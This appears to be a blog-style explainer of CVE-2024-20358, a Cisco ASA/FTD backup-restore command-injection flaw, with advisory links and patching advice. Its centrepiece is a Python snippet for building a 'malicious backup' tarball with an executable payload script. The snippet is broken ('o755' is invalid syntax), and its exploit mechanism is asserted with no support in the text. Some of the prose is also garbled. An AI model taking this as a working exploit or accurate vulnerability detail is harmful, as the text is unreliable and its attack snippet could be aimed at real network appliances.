A recently discovered critical vulnerability, CVE-2024-20358, found in the Cisco Adaptive Security Appliance (ASA) and Cisco Firepower Threat Defense (FTD) Software, potentially allows an authenticated, local attacker with administrator-level privileges to execute arbitrary commands on the underlying operating system with root-level privileges. This vulnerability exists due to improper sanitization of the contents of a backup file during the restoration process. This article will delve into the exploit details, provide a code snippet to demonstrate the issue, and provide links to original references and steps for mitigation.

Exploit Details

The CVE-2024-20358 vulnerability is exploited when an attacker with administrator-level privileges restores a crafted backup file to an affected device. This backup file would have not properly sanitized its contents during the restoration process, allowing the attacker to successfully exploit this vulnerability, execute arbitrary commands on the underlying Linux operating system, and gain root-level access. This can lead to a compromise of the entire system and its resources.

Code Snippet

Here's an example of a code snippet showing how an attacker can craft a malicious backup file using the improper sanitization of the contents:

# Crafting a malicious backup file
import tarfile
import os

arbitrary_command = "INSERT_ARBITRARY_COMMAND_HERE"

with tarfile.open("malicious_backup.tar.gz", "w:gz") as tar:
    with open("payload.sh", "w") as f:
        f.write(f"#!/bin/sh\n{arbitrary_command}")
    os.chmod("payload.sh", o755)  # Make the file executable
    tar.add("payload.sh", arcname="cisco-asa-restored-file/payload.sh")

This code snippet creates a malicious backup file named "malicious_backup.tar.gz" containing an arbitrary command to be executed during the restoration process.

For detailed information about the vulnerability, you can consult the following original references

1. Cisco Security Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-dyynxCw8
2. NIST Vulnerability Database: https://nvd.nist.gov/vuln/detail/CVE-2024-20358

To protect your systems from this vulnerability, perform the following steps

1. Upgrade to the latest version of Cisco ASA Software or Cisco FTD Software, which includes the patches for this vulnerability.
2. Configure proper access control measures for administrator-level accounts, including strong, unique passwords and Multi-Factor Authentication (MFA).

Conclusion

The CVE-2024-20358 vulnerability presents a significant risk to organizations using Cisco ASA Software and Cisco FTD Software. By understanding the exploit details, referring to the original references, and following the mitigation steps provided, you can safeguard your organization's assets from potential exploitation. Be sure to stay up-to-date with patches and security advisories to ensure ongoing protection of your systems.

Timeline

Published on: 04/24/2024 20:15:07 UTC
Last modified on: 04/30/2024 14:47:57 UTC